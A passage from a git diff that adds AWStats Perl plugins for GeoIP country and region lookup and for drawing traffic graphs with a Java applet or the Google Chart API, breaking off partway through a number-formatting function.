HISTORYTMP "${xmlbb}BEGIN_PLUGIN_$PluginName${xmlbs}".(scalar keys %_region_h)."${xmlbe}\n"; + &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_region_h,\%_region_h); + my %keysinkeylist=(); + foreach (@keylist) { + $keysinkeylist{$_}=1; + #my $page=$_region_p{$_}||0; + #my $bytes=$_region_k{$_}||0; + #my $lastaccess=$_region_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_region_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + foreach (keys %_region_h) { + if ($keysinkeylist{$_}) { next; } + #my $page=$_region_p{$_}||0; + #my $bytes=$_region_k{$_}||0; + #my $lastaccess=$_region_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_region_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + print HISTORYTMP "${xmleb}END_PLUGIN_$PluginName${xmlee}\n"; + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,2-char Country code, region +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip_region_maxmind{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # now we need to copy our file values in the order to mimic the lookup values + my @res = (); + $res[0] = $record[1]; # country code + $res[1] = $record[2]; # region code + # store in hash + $TmpDomainLookup{$record[0]} = [@res]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpDomainLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip_region_maxmind(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip_region_maxmind();} + #my @val = (); + #if ($geoip_region_maxmind && + #(($type eq 'geoip' && $geoip_region_maxmind->VERSION >= 1.30) || + # $type eq 'geoippureperl' && $geoip_region_maxmind->VERSION >= 1.17)){ + # @val = @{$TmpDomainLookup{$geoip_region_maxmind->get_ip_address($param)}}; + #} + #else {@val = @{$TmpDomainLookup{$param};}} + #return @val; + if ($TmpDomainLookup{$param}) { return @{$TmpDomainLookup{$param};} } + else { return; } +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoipfree.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoipfree.pm new file mode 100644 index 0000000..c705cbd --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoipfree.pm @@ -0,0 +1,110 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIpFree AWStats plugin +# This plugin allow you to get AWStats country report with countries detected +# from a Geographical database (GeoIP internal database) instead of domain +# hostname suffix. +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IPfree (version 0.2+) +#----------------------------------------------------------------------------- +# $Revision: 1.13 $ - $Author: eldy $ - $Date: 2009/05/25 15:50:02 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +push @INC, "${DIR}/plugins"; +if (!eval ('require "Geo/IPfree.pm";')) { return $@?"Error: $@":"Error: Need Perl module Geo::IPfree"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.5"; +my $PluginHooksFunctions="GetCountryCodeByAddr GetCountryCodeByName"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +%TmpDomainLookup +$gi +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoipfree { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin geoipfree: InitParams=$InitParams",1); + %TmpDomainLookup=(); + $gi = Geo::IPfree->new(); +# $gi->Faster; # Do not enable Faster as the Memoize module is rarely available + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByName_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByName is called to translate a host name into a country name. +#----------------------------------------------------------------------------- +sub GetCountryCodeByName_geoipfree { + my $param="$_[0]"; + # <----- + my $res=$TmpDomainLookup{$param}||''; + if (! $res) { + ($res,undef)=$gi->LookUp($param); + if ($res !~ /\w\w/) { $res='ip'; } + else { $res=lc($res); } + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin geoipfree: GetCountryCodeByName for $param: $res",5); } + } + elsif ($Debug) { debug(" Plugin geoipfree: GetCountryCodeByName for $param: Already resolved to $res",5); } + # -----> + return $res; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByAddr_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByAddr is called to translate an ip into a country name. +#----------------------------------------------------------------------------- +sub GetCountryCodeByAddr_geoipfree { + my $param="$_[0]"; + # <----- + my $res=$TmpDomainLookup{$param}||''; + if (! $res) { + ($res,undef)=$gi->LookUp($param); + if ($res !~ /\w\w/) { $res='ip'; } + else { $res=lc($res); } + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin geoipfree: GetCountryCodeByAddr for $param: $res",5); } + } + elsif ($Debug) { debug(" Plugin geoipfree: GetCountryCodeByAddr for $param: Already resolved to $res",5); } + # -----> + return $res; +} + +1; # Do not remove this line + + +# Internal IP address: +# 10.x.x.x +# 192.168.x.x + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphapplet.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphapplet.pm new file mode 100644 index 0000000..98996e0 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphapplet.pm @@ -0,0 +1,130 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GraphApplet AWStats plugin +# Allow AWStats to replace bar graphs with an Applet (awgraphapplet) that draw +# 3D graphs instead. +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.10 $ - $Author: manolamancha $ - $Date: 2010/05/11 12:33:48 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.0"; +my $PluginHooksFunctions="ShowGraph"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$DirClasses +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_graphapplet { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + $DirClasses=$InitParams; + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#------------------------------------------------------- +# PLUGIN FUNCTION: ShowGraph_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# Add the code for call to applet awgraphapplet +# Parameters: $title $type $showmonthstats \@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal +# Input: None +# Output: HTML code for awgraphapplet insertion +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub ShowGraph_graphapplet() { + my $title=shift; + my $type=shift; + my $showmonthstats=shift; + my $blocklabel=shift; + my $vallabel=shift; + my $valcolor=shift; + my $valmax=shift; + my $valtotal=shift; + my $valaverage=shift; + my $valdata=shift; + + my $graphwidth=780; + my $graphheight=400; + my $blockspacing=5; + my $valspacing=1; + my $valwidth=5; + my $barsize=0; + my $blockfontsize=11; + if ($type eq 'month') { $graphwidth=540; $graphheight=160; $blockspacing=8; $valspacing=0; $valwidth=6; $barsize=$BarHeight; $blockfontsize=11; } + elsif ($type eq 'daysofmonth') { $graphwidth=640; $graphheight=160; $blockspacing=3; $valspacing=0; $valwidth=4; $barsize=$BarHeight; $blockfontsize=9; } + elsif ($type eq 'daysofweek') { $graphwidth=300; $graphheight=160; $blockspacing=10; $valspacing=0; $valwidth=6; $barsize=$BarHeight; $blockfontsize=10; } + elsif ($type eq 'hours') { $graphwidth=600; $graphheight=160; $blockspacing=4; $valspacing=0; $valwidth=6; $barsize=$BarHeight; $blockfontsize=11; } + else { debug("Unknown type parameter in ShowGraph_graphapplet function: $type", 1); return 0; } + +# print "<applet code=\"AWGraphApplet.class\" codebase=\"/classes\" width=\"$graphwidth\" height=\"$graphheight\">\n"; + print "<applet name=\"$type\" archive=\"awgraphapplet.jar\" code=\"AWGraphApplet.class\" codebase=\"".($DirClasses||"/")."\" width=\"$graphwidth\" height=\"$graphheight\" alt= \"Your browser does not support Java correctly. Change browser or disable AWStats graphapplet plugin.\">\n"; +print <<EOF; +<param name="title" value="$title" /> +<param name="special" value="$type" /> +<param name="orientation" value="vertical" /> +<param name="barsize" value="$barsize" /> +<param name="background_color" value="$color_Background" /> +<param name="border_color" value="$color_Background" /> +<param name="special_color" value="$color_weekend" /> +EOF + print "<param name=\"nbblocks\" value=\"".(scalar @$blocklabel)."\" />\n"; + print "<param name=\"b_fontsize\" value=\"$blockfontsize\" />\n"; + foreach my $i (1..(scalar @$blocklabel)) { + print "<param name=\"b${i}_label\" value=\"".@$blocklabel[$i-1]."\" />\n"; + } + print "<param name=\"nbvalues\" value=\"".(scalar @$vallabel)."\" />\n"; + foreach my $i (1..(scalar @$vallabel)) { + print "<param name=\"v${i}_label\" value=\"".@$vallabel[$i-1]."\" />\n"; + print "<param name=\"v${i}_color\" value=\"".@$valcolor[$i-1]."\" />\n"; + print "<param name=\"v${i}_max\" value=\"".@$valmax[$i-1]."\" />\n"; + print "<param name=\"v${i}_total\" value=\"".@$valtotal[$i-1]."\" />\n"; + print "<param name=\"v${i}_average\" value=\"".@$valaverage[$i-1]."\" />\n"; + } +print <<EOF; +<param name="blockSpacing" value="$blockspacing" /> +<param name="valSpacing" value="$valspacing" /> +<param name="valwidth" value="$valwidth" /> +EOF + foreach my $j (1..(scalar @$blocklabel)) { + my $b=''; + foreach my $i (0..(scalar @$vallabel)-1) { $b.=@$valdata[($j-1)*(scalar @$vallabel)+$i]." "; } + $b=~s/\s$//; + print "<param name=\"b${j}\" value=\"$b\" />\n"; + } + print "</applet><br />\n"; + + return 0; +} + + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphgooglechartapi.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphgooglechartapi.pm new file mode 100644 index 0000000..506491d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/graphgooglechartapi.pm @@ -0,0 +1,660 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GraphGoogleChartApi AWStats plugin +# Allow AWStats to replace bar graphs with a Google Graph image +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.6 $ - $Author: eldy $ - $Date: 2011/01/14 11:05:31 $ +# +# Changelog +# +# 1.0 - Initial release by george@dynapres.nl +# 1.1 - Changed scaling: making it independent of chart series +# 1.2 - Added pie charts, visualization hook, map and axis labels by Chris Larsen + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +# -----> +#use strict; +no strict "refs"; + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion = "7.0"; +my $PluginHooksFunctions = "Init ShowGraph AddHTMLHeader"; +my $PluginName = "graphgooglechartapi"; +my $ChartProtocol = "http://"; +my $ChartURI = "chart.apis.google.com/chart?"; # Don't put the HTTP part here! +my $ChartIndex = 0; +my $title; +my $type; +my $imagewidth = 640; # maximum image width. +my $imageratio = .25; # Height is defaulted to 25% of width +my $pieratio = .20; # Height for pie charts should be different +my $mapratio = .62; # Height for maps is different +my $labellength; +my @blocklabel = (); +my @vallabel = (); +my @valcolor = (); +my @valmax = (); +my @valtotal = (); +my @valaverage = (); +my @valdata = (); +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$DirClasses +$URLIndex +/; +# -----> + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_graphgooglechartapi { + my $InitParams = shift; + my $checkversion = &Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + $DirClasses = $InitParams; + # -----> + + $title = ""; + $type = ""; + $labellength=2; + $ChartIndex = -1; + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: ShowGraph_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# Prints the proper chart depending on the $type provided +# Parameters: $title $type $imagewidth \@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal +# Input: None +# Output: HTML code for awgraphapplet insertion +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub ShowGraph_graphgooglechartapi() { + $title = shift; + $type = shift; + $imagewidth = shift || 640; + $blocklabel = shift; + $vallabel = shift; + $valcolor = shift; + $valmax = shift; + $valtotal = shift; + $valaverage = shift; + $valdata = shift; + + # check width + if ($imagewidth < 1){$imagewidth=640;} + + if ($type eq 'month') { + $labellength=3; + print Get_Img_Tag(Graph_Monthly(), $title); + } + elsif ($type eq 'daysofmonth') { + $labellength=2; + print Get_Img_Tag(Graph_Daily(), $title); + } + elsif ($type eq 'daysofweek') { + $labellength=3; + print Get_Img_Tag(Graph_Weekly(), $title); + } + elsif ($type eq 'hours') { + $labellength=2; + print Get_Img_Tag(Graph_Hourly(), $title); + } + elsif ($type eq 'cluster'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'filetypes'){ + $labellength=4; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'httpstatus'){ + $labellength=4; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'browsers'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'downloads'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'pages'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'oss'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'hosts'){ + $labellength=32; + print Get_Img_Tag(Graph_Pie(), $title); + } + elsif ($type eq 'countries_map'){ + print Chart_Map(); + } + else { + debug("Unknown type parameter in ShowGraph_graphgooglechartapi function: $title",1); + #error("Unknown type parameter in ShowGraph_graphgooglechartapi function"); + } + + return 0; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLHeader_pluginname +# UNIQUE: NO +# Prints javascript includes for Google Visualizations +# Parameters: None +# Input: None +# Output: HTML code for Google Visualizations +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub AddHTMLHeader_graphgooglechartapi(){ + print "<script type='text/javascript' src='http://www.google.com/jsapi'></script>\n"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Graph_Monthly +# Prints the image code to display a column chart of monthly usage +# Parameters: None +# Input: None +# Output: HTML code to print a chart +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Graph_Monthly(){ + my $chxt = "chxt="; + my $chxl = "chxl="; + my $chxs = "chxs="; + my $chco = "chco="; + my $chg = "chg="; + my $chs = "chs="; + my $cht = "cht=bvg"; + my $chd = "chd=t:"; + my $cba = "chbh=a"; # shows the whole month + my $graphwidth = $imagewidth; + my $graphheight = int ($imagewidth * $imageratio); + + # round max values + foreach my $i(0..(scalar @$valmax)){ + @$valmax[$i] = Round_Up(@$valmax[$i]); + } + + # setup axis + $chxt .= "x,y,y,r"; # add an x for years + + # get the month labels + $chxl .= "0:|"; + $chxl .= Get_Labels(); + # get the hits/pages max + $chxl .= "1:|0|".Get_Suffixed((@$valmax[0]/2),0)."|".Get_Suffixed(@$valmax[0],0)."|"; + # get the visitors/pages max + $chxl .= "2:|0|".Get_Suffixed((@$valmax[2]/2),0)."|".Get_Suffixed(@$valmax[2],0)."|"; + # get bytes + $chxl .= "3:|0|".Get_Suffixed((@$valmax[4]/2),1)."|".Get_Suffixed(@$valmax[4],1); + # TODO add the year at the start and end + + # set the axis colors + $chxs .= "1,".@$valcolor[0]."|2,".@$valcolor[2]."|3,".@$valcolor[4]; + + # dump colors + foreach my $i(0..(scalar @$valcolor)){ + $chco .= @$valcolor[$i]; + if ($i < (scalar @$valcolor)-1){ $chco .= ",";} + } + + # grid lines + $chg .= "0,50"; + + # size + $chs .= $graphwidth."x".$graphheight; + + # finally get the data + $chd .= Get_Column_Data(); + + # string and dump + return "$cht&$chxl&$chxt&$chxs&$chco&$chg&$chs&$chd&$cba"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Graph_Daily +# Prints the image code to display a column chart of daily usage +# Parameters: None +# Input: None +# Output: HTML code to print a chart +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Graph_Daily(){ + my $chxt = "chxt="; + my $chxl = "chxl="; + my $chxs = "chxs="; + my $chco = "chco="; + my $chg = "chg="; + my $chs = "chs="; + my $cht = "cht=bvg"; + my $chd = "chd=t:"; + my $cba = "chbh=a"; # shows the whole month + my $graphwidth = $imagewidth; + my $graphheight = int ($imagewidth * $imageratio); + + # round max values + foreach my $i(0..(scalar @$valmax)){ + @$valmax[$i] = Round_Up(@$valmax[$i]); + } + + # setup axis + $chxt .= "x,y,y,r"; # add an x for years + + # setup axis labels + # get day labels + $chxl .= "0:|"; + $chxl .= Get_Labels(); + # get the hits/pages max + $chxl .= "1:|0|".Get_Suffixed((@$valmax[0]/2),0)."|".Get_Suffixed(@$valmax[0],0)."|"; + # get the visitors/pages max + $chxl .= "2:|0|".Get_Suffixed((@$valmax[1]/2),0)."|".Get_Suffixed(@$valmax[1],0)."|"; + # get bytes + $chxl .= "3:|0|".Get_Suffixed((@$valmax[3]/2),1)."|".Get_Suffixed(@$valmax[3],1); + # TODO month name + + # set the axis colors + $chxs .= "1,".@$valcolor[0]."|2,".@$valcolor[1]."|3,".@$valcolor[3]; + + # dump colors + foreach my $i(0..(scalar @$valcolor)){ + $chco .= @$valcolor[$i]; + if ($i < (scalar @$valcolor)-1){ $chco .= ",";} + } + + # grid lines + $chg .= "0,50"; + + # size + $chs .= $graphwidth."x".$graphheight; + + # finally get the data + $chd .= Get_Column_Data(); + + # string and dump + return "$cht&$chxl&$chxt&$chxs&$chco&$chg&$chs&$chd&$cba"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Graph_Weekly +# Prints the image code to display a column chart of weekly usage +# Parameters: None +# Input: None +# Output: HTML code to print a chart +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Graph_Weekly(){ + my $chxt = "chxt="; + my $chxl = "chxl="; + my $chxs = "chxs="; + my $chco = "chco="; + my $chg = "chg="; + my $chs = "chs="; + my $cht = "cht=bvg"; + my $chd = "chd=t:"; + my $cba = "chbh=a"; # shows the whole month + my $graphwidth = int ($imagewidth * .75); # to maintain old look/ratio, reduce width of the weekly + my $graphheight = int ($imagewidth * $imageratio); + + # round max values + foreach my $i(0..(scalar @$valmax)){ + @$valmax[$i] = Round_Up(@$valmax[$i]); + } + + # setup axis + $chxt .= "x,y,y,r"; # add an x for years + + # setup axis labels + # get the day labels + $chxl .= "0:|"; + $chxl .= Get_Labels(); + # get the hits/pages max + $chxl .= "1:|0|".Get_Suffixed((@$valmax[0]/2),0)."|".Get_Suffixed(@$valmax[0],0)."|"; + # get the visitors/pages max + $chxl .= "2:|0|".Get_Suffixed((@$valmax[1]/2),0)."|".Get_Suffixed(@$valmax[1],0)."|"; + # get bytes + $chxl .= "3:|0|".Get_Suffixed((@$valmax[2]/2),1)."|".Get_Suffixed(@$valmax[2],1); + + # set the axis colors + $chxs .= "1,".@$valcolor[0]."|2,".@$valcolor[1]."|3,".@$valcolor[2]; + + # dump colors + foreach my $i(0..(scalar @$valcolor)){ + $chco .= @$valcolor[$i]; + if ($i < (scalar @$valcolor)-1){ $chco .= ",";} + } + + # grid lines + $chg .= "0,50"; + + # size + $chs .= $graphwidth."x".$graphheight; + + # finally get the data + $chd .= Get_Column_Data(); + + # string and dump + return "$cht&$chxl&$chxt&$chxs&$chco&$chg&$chs&$chd&$cba"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Graph_Hourly +# Prints the image code to display a column chart of hourly usage +# Parameters: None +# Input: None +# Output: HTML code to print a chart +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Graph_Hourly(){ + my $chxt = "chxt="; + my $chxl = "chxl="; + my $chxs = "chxs="; + my $chco = "chco="; + my $chg = "chg="; + my $chs = "chs="; + my $cht = "cht=bvg"; + my $chd = "chd=t:"; + my $cba = "chbh=a"; # shows the whole month + my $graphwidth = $imagewidth; + my $graphheight = int ($imagewidth * $imageratio); + + # round max values + foreach my $i(0..(scalar @$valmax - 1)){ + @$valmax[$i] = Round_Up(@$valmax[$i]); + } + + # setup axis + $chxt .= "x,y,y,r"; # add an x for years + + # setup axis labels + $chxl .= "0:|"; + $chxl .= Get_Labels(); + # get the hits/pages max + $chxl .= "1:|0|".Get_Suffixed((@$valmax[0]/2),0)."|".Get_Suffixed(@$valmax[0],0)."|"; + # get the visitors/pages max + $chxl .= "2:|0|".Get_Suffixed((@$valmax[1]/2),0)."|".Get_Suffixed(@$valmax[1],0)."|"; + # get bytes + $chxl .= "3:|0|".Get_Suffixed((@$valmax[2]/2),1)."|".Get_Suffixed(@$valmax[2],1); + # TODO years + + # set the axis colors + $chxs .= "1,".@$valcolor[0]."|2,".@$valcolor[1]."|3,".@$valcolor[2]; + + # dump colors + foreach my $i(0..(scalar @$valcolor)){ + $chco .= @$valcolor[$i]; + if ($i < (scalar @$valcolor)-1){ $chco .= ",";} + } + + # grid lines + $chg .= "0,50"; + + # size + $chs .= $graphwidth."x".$graphheight; + + # finally get the data + $chd .= Get_Column_Data(); + + # string and dump + return "$cht&$chxl&$chxt&$chxs&$chco&$chg&$chs&$chd&$cba"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Graph_Pie +# Prints the image code to display a pie chart of the provided data +# Parameters: None +# Input: None +# Output: HTML code to print a chart +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Graph_Pie(){ + my $chl = "chl="; + my $chs = "chs="; + my $chco = "chco="; + my $cht = "cht=p3"; + my $chd = "chd=t:"; + my $graphwidth = $imagewidth; + my $graphheight = int ($imagewidth * $pieratio); + + # get labels + $chl .= Get_Labels(); + + # get data, just read off the array for however many labels we have + foreach my $i (0..((scalar @$blocklabel)-1)) { + $chd .= int(@$valdata[$i]); + $chd .= ($i < ((scalar @$blocklabel)-1) ? "," : ""); + } + + # get color, just the first color passed + $chco .= @$valcolor[0]; + + # set size + $chs .= $graphwidth."x".$graphheight; + + return "$cht&$chs&$chco&$chl&$chd"; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Chart_Map +# Prints a Javascript and DIV tag to display a Google Visualization GeoMap +# that uses the Flash plugin to display a map of the world shaded to reflect +# the provided data +# Parameters: None +# Input: None +# Output: Javascript and DIV tag +# Return: 0 OK, 1 Error +#------------------------------------------------------- +sub Chart_Map(){ + my $graphwidth = $imagewidth; + my $graphheight = int ($imagewidth * $mapratio); + + # Assume we've already included the proper headers so just call our script inline + print "\n<script type='text/javascript'>\n"; + print "google.load('visualization', '1', {'packages': ['geomap']});\n"; + print "google.setOnLoadCallback(drawMap);\n"; + print "function drawMap() {\n\tvar data = new google.visualization.DataTable();\n"; + + # get the total number of rows + print "\tdata.addRows(".scalar @$blocklabel.");\n"; + print "\tdata.addColumn('string', 'Country');\n"; + print "\tdata.addColumn('number', 'Hits');\n"; + + # loop and dump + my $i = 0; + for ($i .. (scalar @$blocklabel - 1)) { + # fix case of uk + if (@$blocklabel[$i] eq 'Great Britain'){ @$blocklabel[$i] = +'United Kingdom'; } + print "\tdata.setValue($i, 0, \"".@$blocklabel[$i]."\");\n"; + print "\tdata.setValue($i, 1, ".@$valdata[$i].");\n"; + $i++; + # Google's Geomap only supports up to 400 entries + if ($i >= 400){ last; } + } + + print "\tvar options = {};\n"; + print "\toptions['dataMode'] = 'regions';\n"; + print "\toptions['width'] = $graphwidth;\n"; + print "\toptions['height'] = $graphheight;\n"; + print "\tvar container = document.getElementById('$title');\n"; + print "\tvar geomap = new google.visualization.GeoMap(container);\n"; + print "\tgeomap.draw(data, options);\n"; + print "};\n"; + print "</script>\n"; + + # print the div tag that will contain the map + print "<div id='$title'></div>\n"; + return; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Get_Column_Data +# Loops through the data array and prints a CHD string to send to a Google +# chart via the API +# Parameters: None +# Input: @valcolor, @blocklabel, @valdata, @valmax +# Output: None +# Return: A pipe delimited string of data. REQUIRES the "chd=t:" prepended +#------------------------------------------------------- +# Returns a string with the CHD data +sub Get_Column_Data(){ + my $chd = ""; + + # use the # of colors to determine how many values we have + $x= scalar @$valcolor; + for ($serie = 0; $serie <= $x; $serie++) { + foreach my $j (1.. (scalar @$blocklabel)) { + if ($j > 1) { $chd .= ","; } + $val = @$valdata[($j-1)*$x+$serie]; + # convert our values to a percent of max + $chd .= (@$valmax[$serie] > 0 ? int(($val / Round_Up(@$valmax[$serie])) * 100) : 0); + } + if ($serie < $x) { + $chd .= "|"; + } + } + + # return + return $chd; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Get_Labels +# Returns a CHXL string with labels to send to the Google chart API. Long labels +# are shortened to $labellength +# TODO - better shortening method instead of just lopping off the end of strings +# Parameters: None +# Input: @blocklabel, $labellength +# Output: None +# Return: A pipe delimited string of labels. REQUIRES the "chxl=" prepended +#------------------------------------------------------- +sub Get_Labels(){ + my $chxl = ""; + foreach my $i (1..(scalar @$blocklabel)) { + $temp = @$blocklabel[$i-1]; + if (length($temp) > $labellength){ + $temp = (substr($temp,0,$labellength)); + } + $chxl .= "$temp|"; + } + $chxl =~ s/&//; + return $chxl; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Round_Up +# Rounds a number up to the next most significant digit, i.e. 1234 becomes 2000 +# Useful for getting the max values of our graph +# Parameters: $num +# Input: None +# Output: None +# Return: The rounded number +#------------------------------------------------------- +sub Round_Up(){ + my $num = shift; + $num = int($num); + if ($num < 1){ return $num; } + + # under 100, just increment and dump + if ($num < 100){return $num++; } + + $i = int(substr($num,0,2))+1; + + # pad with 0s + $l = length($i); + while ($l<(length($num))){ + $i .= "0"; + $l++; + } + return $i; +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Get_Suffixed +# Converts a number for axis labels and appends the scientific notation suffix +# or proper size in bytes +# Parameters: $num +# Input: @Message array from AWStats +# Output: None +# Return: A number with suffix, i.e. 400 MB or 200 K +#------------------------------------------------------- +sub Get_Suffixed(){ + my $num = shift || 0; + my $isbytes = shift || 0; + my $float = 0; + if ( $num >= ( 1 << 30 ) ) { + $float = (split(/\./, $num / 1000000000))[1]; + if ($float){ + return sprintf( "%.1f", $num / 1000000000 ) . ($isbytes ? " $Message[110]" : " B"); + }else{ + return sprintf( "%.0f", $num / 1000000000 ) . ($isbytes ? " $Message[110]" : " B"); + } + } + if ( $num >= ( 1 << 20 ) ) { + $float = (split(/\./, $num / 1000000))[1]; + if ($float){ + return sprintf( "%.1f", $num / 1000000 ) . ($isbytes ? " $Message[109]" : " M"); + }else{ + return sprintf( "%.0f", $num / 1000000 ) . ($isbytes ? " $Message[109]" : " M"); + } + } + if ( $num >= ( 1 << 10 ) ) { + $float = (split(/\./, $num / 1000))[1]; + if ($float){ + return sprintf( 